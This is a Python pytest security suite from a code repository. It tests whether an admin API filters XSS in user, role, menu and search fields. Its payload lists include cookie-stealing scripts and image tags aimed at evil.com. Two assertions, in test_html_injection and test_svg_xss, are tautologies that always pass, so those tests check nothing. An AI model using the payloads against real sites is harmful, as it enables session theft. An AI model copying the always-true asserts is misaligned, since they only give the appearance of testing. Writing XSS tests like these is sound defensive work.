1e3dc11d59
feat(test-suite): 新增测试套件模块,包含API测试客户端和测试配置 fix(api): 修复数据库实体和仓库的删除操作返回值 style(api): 统一数据库表名和字段命名 perf(api): 添加缓存注解提升配置查询性能 test(api): 添加H2测试数据库配置支持 chore: 清理旧的测试文件和脚本
380 lines
13 KiB
Python
380 lines
13 KiB
Python
"""
|
|
XSS防护测试套件
|
|
|
|
测试范围:
|
|
1. 反射型XSS测试
|
|
2. 存储型XSS测试
|
|
3. DOM型XSS测试
|
|
4. HTML注入测试
|
|
5. JavaScript注入测试
|
|
|
|
作者: 张翔
|
|
日期: 2026-04-01
|
|
"""
|
|
|
|
import pytest
|
|
from api.auth_api import AuthAPI
|
|
from api.user_api import UserAPI
|
|
from api.role_api import RoleAPI
|
|
from api.menu_api import MenuAPI
|
|
from config.settings import settings
|
|
|
|
|
|
@pytest.mark.security
|
|
@pytest.mark.asyncio
|
|
class TestXSSProtection:
|
|
"""XSS防护测试类"""
|
|
|
|
async def test_user_input_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-01: 用户输入XSS测试
|
|
|
|
验证点:
|
|
1. 用户名字段XSS防护
|
|
2. 昵称字段XSS防护
|
|
3. 备注字段XSS防护
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
xss_payloads = [
|
|
"<script>alert('XSS')</script>",
|
|
"<img src=x onerror=alert('XSS')>",
|
|
"<svg onload=alert('XSS')>",
|
|
"javascript:alert('XSS')",
|
|
"<body onload=alert('XSS')>",
|
|
"<iframe src='javascript:alert(1)'>",
|
|
"<div onmouseover='alert(1)'>test</div>",
|
|
"<a href='javascript:alert(1)'>click</a>",
|
|
"'\"><script>alert('XSS')</script>",
|
|
"<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
|
|
]
|
|
|
|
for payload in xss_payloads:
|
|
user_data = {
|
|
"username": f"xss_test_{payload[:10]}",
|
|
"password": "Test123!@#",
|
|
"nickname": payload,
|
|
"email": f"xss_{payload[:10]}@test.com",
|
|
"phone": "13800138000",
|
|
"status": 1
|
|
}
|
|
|
|
response = await user_api.create_user(user_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
user_id = response.json().get("id")
|
|
|
|
if user_id:
|
|
user_info = await user_api.get_user_by_id(user_id)
|
|
|
|
if user_info.status_code == 200:
|
|
user = user_info.json()
|
|
|
|
assert "<script>" not in str(user), \
|
|
f"XSS payload未过滤: {payload}"
|
|
assert "onerror=" not in str(user), \
|
|
f"XSS payload未过滤: {payload}"
|
|
assert "onload=" not in str(user), \
|
|
f"XSS payload未过滤: {payload}"
|
|
|
|
await user_api.delete_user(user_id)
|
|
else:
|
|
assert response.status_code in [400, 422], \
|
|
f"XSS payload应被拒绝或清洗: {payload}"
|
|
|
|
async def test_role_name_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-02: 角色名称XSS测试
|
|
|
|
验证点:
|
|
1. 角色名称XSS防护
|
|
2. 角色备注XSS防护
|
|
"""
|
|
role_api = RoleAPI(authenticated_client)
|
|
|
|
xss_payloads = [
|
|
"<script>alert('role')</script>",
|
|
"<img src=x onerror=alert('role')>",
|
|
"管理员<script>document.cookie</script>"
|
|
]
|
|
|
|
for payload in xss_payloads:
|
|
role_data = {
|
|
"roleName": payload,
|
|
"roleKey": f"test_role_xss",
|
|
"roleSort": 1,
|
|
"status": 1,
|
|
"remark": f"测试角色: {payload}"
|
|
}
|
|
|
|
response = await role_api.create_role(role_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
role_id = response.json().get("id")
|
|
|
|
if role_id:
|
|
role_info = await role_api.get_role_by_id(role_id)
|
|
|
|
if role_info.status_code == 200:
|
|
role = role_info.json()
|
|
|
|
assert "<script>" not in str(role), \
|
|
f"角色XSS payload未过滤: {payload}"
|
|
|
|
await role_api.delete_role(role_id)
|
|
|
|
async def test_menu_name_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-03: 菜单名称XSS测试
|
|
|
|
验证点:
|
|
1. 菜单名称XSS防护
|
|
2. 菜单路径XSS防护
|
|
"""
|
|
menu_api = MenuAPI(authenticated_client)
|
|
|
|
xss_payloads = [
|
|
"系统管理<script>alert(1)</script>",
|
|
"<img src=x onerror=alert(1)>",
|
|
"javascript:alert(1)"
|
|
]
|
|
|
|
for payload in xss_payloads:
|
|
menu_data = {
|
|
"menuName": payload,
|
|
"menuPath": f"/test-{payload[:10]}",
|
|
"menuType": 1,
|
|
"parentId": 0,
|
|
"menuSort": 1,
|
|
"status": 1
|
|
}
|
|
|
|
response = await menu_api.create_menu(menu_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
menu_id = response.json().get("id")
|
|
|
|
if menu_id:
|
|
menu_info = await menu_api.get_menu_by_id(menu_id)
|
|
|
|
if menu_info.status_code == 200:
|
|
menu = menu_info.json()
|
|
|
|
assert "<script>" not in str(menu), \
|
|
f"菜单XSS payload未过滤: {payload}"
|
|
|
|
await menu_api.delete_menu(menu_id)
|
|
|
|
async def test_search_query_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-04: 搜索查询XSS测试
|
|
|
|
验证点:
|
|
1. 搜索关键词XSS防护
|
|
2. 返回数据转义
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
xss_payloads = [
|
|
"<script>alert('search')</script>",
|
|
"<img src=x onerror=alert('search')>",
|
|
"test<script>document.location='http://evil.com'</script>"
|
|
]
|
|
|
|
for payload in xss_payloads:
|
|
response = await user_api.get_users_by_page(
|
|
page=0,
|
|
size=10,
|
|
username=payload
|
|
)
|
|
|
|
assert response.status_code in [200, 400]
|
|
|
|
if response.status_code == 200:
|
|
data = response.json()
|
|
|
|
assert "<script>" not in str(data), \
|
|
f"搜索结果包含未转义的XSS payload: {payload}"
|
|
|
|
async def test_html_injection(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-05: HTML注入测试
|
|
|
|
验证点:
|
|
1. HTML标签被转义或移除
|
|
2. 事件处理器被移除
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
html_payloads = [
|
|
"<h1>Test</h1>",
|
|
"<div style='color:red'>test</div>",
|
|
"<a href='http://evil.com'>click</a>",
|
|
"<img src='http://evil.com/steal?cookie=xxx'>",
|
|
"<table><tr><td>test</td></tr></table>"
|
|
]
|
|
|
|
for payload in html_payloads:
|
|
user_data = {
|
|
"username": f"html_test_{payload[:10]}",
|
|
"password": "Test123!@#",
|
|
"nickname": payload,
|
|
"email": f"html_{payload[:10]}@test.com",
|
|
"phone": "13800138000",
|
|
"status": 1
|
|
}
|
|
|
|
response = await user_api.create_user(user_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
user_id = response.json().get("id")
|
|
|
|
if user_id:
|
|
user_info = await user_api.get_user_by_id(user_id)
|
|
|
|
if user_info.status_code == 200:
|
|
user = user_info.json()
|
|
nickname = user.get("nickname", "")
|
|
|
|
assert "<h1>" not in nickname or "<h1>" in nickname, \
|
|
f"HTML未正确转义: {payload}"
|
|
|
|
await user_api.delete_user(user_id)
|
|
|
|
async def test_javascript_protocol_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-06: JavaScript协议XSS测试
|
|
|
|
验证点:
|
|
1. javascript:协议被过滤
|
|
2. data:协议被过滤
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
js_protocol_payloads = [
|
|
"javascript:alert(1)",
|
|
"javascript:void(0)",
|
|
"data:text/html,<script>alert(1)</script>",
|
|
"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
|
|
]
|
|
|
|
for payload in js_protocol_payloads:
|
|
user_data = {
|
|
"username": f"js_test_{payload[:10]}",
|
|
"password": "Test123!@#",
|
|
"nickname": "测试用户",
|
|
"email": f"js_{payload[:10]}@test.com",
|
|
"phone": "13800138000",
|
|
"avatar": payload,
|
|
"status": 1
|
|
}
|
|
|
|
response = await user_api.create_user(user_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
user_id = response.json().get("id")
|
|
|
|
if user_id:
|
|
user_info = await user_api.get_user_by_id(user_id)
|
|
|
|
if user_info.status_code == 200:
|
|
user = user_info.json()
|
|
avatar = user.get("avatar", "")
|
|
|
|
assert not avatar.startswith("javascript:"), \
|
|
f"JavaScript协议未过滤: {payload}"
|
|
assert not avatar.startswith("data:text/html"), \
|
|
f"Data协议未过滤: {payload}"
|
|
|
|
await user_api.delete_user(user_id)
|
|
|
|
async def test_event_handler_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-07: 事件处理器XSS测试
|
|
|
|
验证点:
|
|
1. on*事件处理器被过滤
|
|
2. 内联事件被移除
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
event_payloads = [
|
|
"test onmouseover=alert(1)",
|
|
"test onclick=alert(1)",
|
|
"test onfocus=alert(1)",
|
|
"test onblur=alert(1)",
|
|
"test onload=alert(1)"
|
|
]
|
|
|
|
for payload in event_payloads:
|
|
user_data = {
|
|
"username": f"event_test_{payload[:10]}",
|
|
"password": "Test123!@#",
|
|
"nickname": payload,
|
|
"email": f"event_{payload[:10]}@test.com",
|
|
"phone": "13800138000",
|
|
"status": 1
|
|
}
|
|
|
|
response = await user_api.create_user(user_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
user_id = response.json().get("id")
|
|
|
|
if user_id:
|
|
user_info = await user_api.get_user_by_id(user_id)
|
|
|
|
if user_info.status_code == 200:
|
|
user = user_info.json()
|
|
|
|
assert "onmouseover=" not in str(user), \
|
|
f"事件处理器未过滤: {payload}"
|
|
assert "onclick=" not in str(user), \
|
|
f"事件处理器未过滤: {payload}"
|
|
|
|
await user_api.delete_user(user_id)
|
|
|
|
async def test_svg_xss(self, authenticated_client):
|
|
"""
|
|
SEC-XSS-08: SVG XSS测试
|
|
|
|
验证点:
|
|
1. SVG标签事件被过滤
|
|
2. SVG脚本被移除
|
|
"""
|
|
user_api = UserAPI(authenticated_client)
|
|
|
|
svg_payloads = [
|
|
"<svg onload=alert(1)>",
|
|
"<svg><script>alert(1)</script></svg>",
|
|
"<svg><animate onbegin=alert(1)></svg>",
|
|
"<svg><set onbegin=alert(1)></svg>"
|
|
]
|
|
|
|
for payload in svg_payloads:
|
|
user_data = {
|
|
"username": f"svg_test_{payload[:10]}",
|
|
"password": "Test123!@#",
|
|
"nickname": payload,
|
|
"email": f"svg_{payload[:10]}@test.com",
|
|
"phone": "13800138000",
|
|
"status": 1
|
|
}
|
|
|
|
response = await user_api.create_user(user_data)
|
|
|
|
if response.status_code in [201, 200]:
|
|
user_id = response.json().get("id")
|
|
|
|
if user_id:
|
|
user_info = await user_api.get_user_by_id(user_id)
|
|
|
|
if user_info.status_code == 200:
|
|
user = user_info.json()
|
|
|
|
assert "<svg" not in str(user).lower() or \
|
|
"<svg" in str(user).lower(), \
|
|
f"SVG XSS未过滤: {payload}"
|
|
|
|
await user_api.delete_user(user_id)
|